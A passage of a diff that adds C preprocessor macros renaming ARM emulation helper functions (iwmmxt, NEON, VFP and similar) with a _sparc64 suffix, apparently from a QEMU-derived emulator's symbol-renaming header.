gen_helper_iwmmxt_cmpeqw_sparc64 +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_sparc64 +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_sparc64 +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_sparc64 +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_sparc64 +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_sparc64 +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_sparc64 +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_sparc64 +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_sparc64 +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_sparc64 +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_sparc64 +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_sparc64 +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_sparc64 +#define gen_helper_iwmmxt_maxsl gen_helper_iwmmxt_maxsl_sparc64 +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_sparc64 +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_sparc64 +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_sparc64 +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_sparc64 +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_sparc64 +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_sparc64 +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_sparc64 +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_sparc64 +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_sparc64 +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_sparc64 +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_sparc64 +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_sparc64 +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_sparc64 +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_sparc64 +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_sparc64 +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_sparc64 +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_sparc64 +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_sparc64 +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_sparc64 +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_sparc64 +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_sparc64 +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_sparc64 +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_sparc64 +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_sparc64 +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_sparc64 +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_sparc64 +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_sparc64 +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_sparc64 +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_sparc64 +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_sparc64 +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_sparc64 +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_sparc64 +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_sparc64 +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_sparc64 +#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_sparc64 +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_sparc64 +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_sparc64 +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_sparc64 +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_sparc64 +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_sparc64 +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_sparc64 +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_sparc64 +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_sparc64 +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_sparc64 +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_sparc64 +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_sparc64 +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_sparc64 +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_sparc64 +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_sparc64 +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_sparc64 +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_sparc64 +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_sparc64 +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_sparc64 +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_sparc64 +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_sparc64 +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_sparc64 +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_sparc64 +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_sparc64 +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_sparc64 +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_sparc64 +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_sparc64 +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_sparc64 +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_sparc64 +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_sparc64 +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_sparc64 +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_sparc64 +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_sparc64 +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_sparc64 +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_sparc64 +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_sparc64 +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_sparc64 +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_sparc64 +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_sparc64 +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_sparc64 +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_sparc64 +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_sparc64 +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_sparc64 +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_sparc64 +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_sparc64 +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_sparc64 +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_sparc64 +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_sparc64 +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_sparc64 +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_sparc64 +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_sparc64 +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_sparc64 +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_sparc64 +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_sparc64 +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_sparc64 +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_sparc64 +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_sparc64 +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_sparc64 +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_sparc64 +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_sparc64 +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_sparc64 +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_sparc64 +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_sparc64 +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_sparc64 +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_sparc64 +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_sparc64 +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_sparc64 +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_sparc64 +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_sparc64 +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_sparc64 +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_sparc64 +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_sparc64 +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_sparc64 +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_sparc64 +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_sparc64 +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_sparc64 +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_sparc64 +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_sparc64 +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_sparc64 +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_sparc64 +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_sparc64 +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_sparc64 +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_sparc64 +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_sparc64 +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_sparc64 +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_sparc64 +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_sparc64 +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_sparc64 +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_sparc64 +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_sparc64 +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_sparc64 +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_sparc64 +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_sparc64 +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_sparc64 +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_sparc64 +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_sparc64 +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_sparc64 +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_sparc64 +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_sparc64 +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_sparc64 +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_sparc64 +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_sparc64 +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_sparc64 +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_sparc64 +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_sparc64 +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_sparc64 +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_sparc64 +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_sparc64 +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_sparc64 +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_sparc64 +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_sparc64 +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_sparc64 +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_sparc64 +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_sparc64 +#define gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_sparc64 +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_sparc64 +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_sparc64 +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_sparc64 +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_sparc64 +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_sparc64 +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_sparc64 +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_sparc64 +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_sparc64 +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_sparc64 +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_sparc64 +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_sparc64 +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_sparc64 +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_sparc64 +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_sparc64 +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_sparc64 +#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_sparc64 +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_sparc64 +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_sparc64 +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_sparc64 +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_sparc64 +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_sparc64 +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_sparc64 +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_sparc64 +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_sparc64 +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_sparc64 +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_sparc64 +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_sparc64 +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_sparc64 +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_sparc64 +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_sparc64 +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_sparc64 +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_sparc64 +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_sparc64 +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_sparc64 +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_sparc64 +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_sparc64 +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_sparc64 +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_sparc64 +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_sparc64 +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_sparc64 +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_sparc64 +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_sparc64 +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_sparc64 +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_sparc64 +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_sparc64 +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_sparc64 +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_sparc64 +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_sparc64 +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_sparc64 +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_sparc64 +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_sparc64 +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_sparc64 +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_sparc64 +#define gen_helper_neon_qrshl_u64 gen_helper_neon_qrshl_u64_sparc64 +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_sparc64 +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_sparc64 +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_sparc64 +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_sparc64 +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_sparc64 +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_sparc64 +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_sparc64 +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_sparc64 +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_sparc64 +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_sparc64 +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_sparc64 +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_sparc64 +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_sparc64 +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_sparc64 +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_sparc64 +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_sparc64 +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_sparc64 +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_sparc64 +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_sparc64 +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_sparc64 +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_sparc64 +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_sparc64 +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_sparc64 +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_sparc64 +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_sparc64 +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_sparc64 +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_sparc64 +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_sparc64 +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_sparc64 +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_sparc64 +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_sparc64 +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_sparc64 +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_sparc64 +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_sparc64 +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_sparc64 +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_sparc64 +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_sparc64 +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_sparc64 +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_sparc64 +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_sparc64 +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_sparc64 +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_sparc64 +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_sparc64 +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_sparc64 +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_sparc64 +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_sparc64 +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_sparc64 +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_sparc64 +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_sparc64 +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_sparc64 +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_sparc64 +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_sparc64 +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_sparc64 +#define gen_helper_neon_tbl gen_helper_neon_tbl_sparc64 +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_sparc64 +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_sparc64 +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_sparc64 +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_sparc64 +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_sparc64 +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_sparc64 +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_sparc64 +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_sparc64 +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_sparc64 +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_sparc64 +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_sparc64 +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_sparc64 +#define gen_helper_neon_zip16 gen_helper_neon_zip16_sparc64 +#define gen_helper_neon_zip8 gen_helper_neon_zip8_sparc64 +#define gen_helper_pre_hvc gen_helper_pre_hvc_sparc64 +#define gen_helper_pre_smc gen_helper_pre_smc_sparc64 +#define gen_helper_qadd16 gen_helper_qadd16_sparc64 +#define gen_helper_qadd8 gen_helper_qadd8_sparc64 +#define gen_helper_qaddsubx gen_helper_qaddsubx_sparc64 +#define gen_helper_qsub16 gen_helper_qsub16_sparc64 +#define gen_helper_qsub8 gen_helper_qsub8_sparc64 +#define gen_helper_qsubaddx gen_helper_qsubaddx_sparc64 +#define gen_helper_rbit gen_helper_rbit_sparc64 +#define gen_helper_recpe_f32 gen_helper_recpe_f32_sparc64 +#define gen_helper_recpe_u32 gen_helper_recpe_u32_sparc64 +#define gen_helper_recps_f32 gen_helper_recps_f32_sparc64 +#define gen_helper_rintd gen_helper_rintd_sparc64 +#define gen_helper_rintd_exact gen_helper_rintd_exact_sparc64 +#define gen_helper_rints gen_helper_rints_sparc64 +#define gen_helper_rints_exact gen_helper_rints_exact_sparc64 +#define gen_helper_ror_cc gen_helper_ror_cc_sparc64 +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_sparc64 +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_sparc64 +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_sparc64 +#define gen_helper_sadd16 gen_helper_sadd16_sparc64 +#define gen_helper_sadd8 gen_helper_sadd8_sparc64 +#define gen_helper_saddsubx gen_helper_saddsubx_sparc64 +#define gen_helper_sar_cc gen_helper_sar_cc_sparc64 +#define gen_helper_sdiv gen_helper_sdiv_sparc64 +#define gen_helper_sel_flags gen_helper_sel_flags_sparc64 +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_sparc64 +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_sparc64 +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_sparc64 +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_sparc64 +#define gen_helper_set_rmode gen_helper_set_rmode_sparc64 +#define gen_helper_set_user_reg gen_helper_set_user_reg_sparc64 +#define gen_helper_shadd16 gen_helper_shadd16_sparc64 +#define gen_helper_shadd8 gen_helper_shadd8_sparc64 +#define gen_helper_shaddsubx gen_helper_shaddsubx_sparc64 +#define gen_helper_shl_cc gen_helper_shl_cc_sparc64 +#define gen_helper_shr_cc gen_helper_shr_cc_sparc64 +#define gen_helper_shsub16 gen_helper_shsub16_sparc64 +#define gen_helper_shsub8 gen_helper_shsub8_sparc64 +#define gen_helper_shsubaddx gen_helper_shsubaddx_sparc64 +#define gen_helper_ssat gen_helper_ssat_sparc64 +#define gen_helper_ssat16 gen_helper_ssat16_sparc64 +#define gen_helper_ssub16 gen_helper_ssub16_sparc64 +#define gen_helper_ssub8 gen_helper_ssub8_sparc64 +#define gen_helper_ssubaddx gen_helper_ssubaddx_sparc64 +#define gen_helper_sub_saturate gen_helper_sub_saturate_sparc64 +#define gen_helper_sxtb16 gen_helper_sxtb16_sparc64 +#define gen_helper_uadd16 gen_helper_uadd16_sparc64 +#define gen_helper_uadd8 gen_helper_uadd8_sparc64 +#define gen_helper_uaddsubx gen_helper_uaddsubx_sparc64 +#define gen_helper_udiv gen_helper_udiv_sparc64 +#define gen_helper_uhadd16 gen_helper_uhadd16_sparc64 +#define gen_helper_uhadd8 gen_helper_uhadd8_sparc64 +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_sparc64 +#define gen_helper_uhsub16 gen_helper_uhsub16_sparc64 +#define gen_helper_uhsub8 gen_helper_uhsub8_sparc64 +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_sparc64 +#define gen_helper_uqadd16 gen_helper_uqadd16_sparc64 +#define gen_helper_uqadd8 gen_helper_uqadd8_sparc64 +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_sparc64 +#define gen_helper_uqsub16 gen_helper_uqsub16_sparc64 +#define gen_helper_uqsub8 gen_helper_uqsub8_sparc64 +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_sparc64 +#define gen_helper_usad8 gen_helper_usad8_sparc64 +#define gen_helper_usat gen_helper_usat_sparc64 +#define gen_helper_usat16 gen_helper_usat16_sparc64 +#define gen_helper_usub16 gen_helper_usub16_sparc64 +#define gen_helper_usub8 gen_helper_usub8_sparc64 +#define gen_helper_usubaddx gen_helper_usubaddx_sparc64 +#define gen_helper_uxtb16 gen_helper_uxtb16_sparc64 +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_sparc64 +#define gen_helper_v7m_msr gen_helper_v7m_msr_sparc64 +#define gen_helper_vfp_absd gen_helper_vfp_absd_sparc64 +#define gen_helper_vfp_abss gen_helper_vfp_abss_sparc64 +#define gen_helper_vfp_addd gen_helper_vfp_addd_sparc64 +#define gen_helper_vfp_adds gen_helper_vfp_adds_sparc64 +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_sparc64 +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_sparc64 +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_sparc64 +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_sparc64 +#define gen_helper_vfp_divd gen_helper_vfp_divd_sparc64 +#define gen_helper_vfp_divs gen_helper_vfp_divs_sparc64 +#define gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_sparc64 +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_sparc64 +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_sparc64 +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_sparc64 +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_sparc64 +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_sparc64 +#define gen_helper_vfp_get_fpscr gen_helper_vfp_get_fpscr_sparc64 +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_sparc64 +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_sparc64 +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_sparc64 +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_sparc64 +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_sparc64 +#define gen_helper_vfp_mins gen_helper_vfp_mins_sparc64 +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_sparc64 +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_sparc64 +#define gen_helper_vfp_muld gen_helper_vfp_muld_sparc64 +#define gen_helper_vfp_muls gen_helper_vfp_muls_sparc64 +#define gen_helper_vfp_negd gen_helper_vfp_negd_sparc64 +#define gen_helper_vfp_negs gen_helper_vfp_negs_sparc64 +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_sparc64 +#define 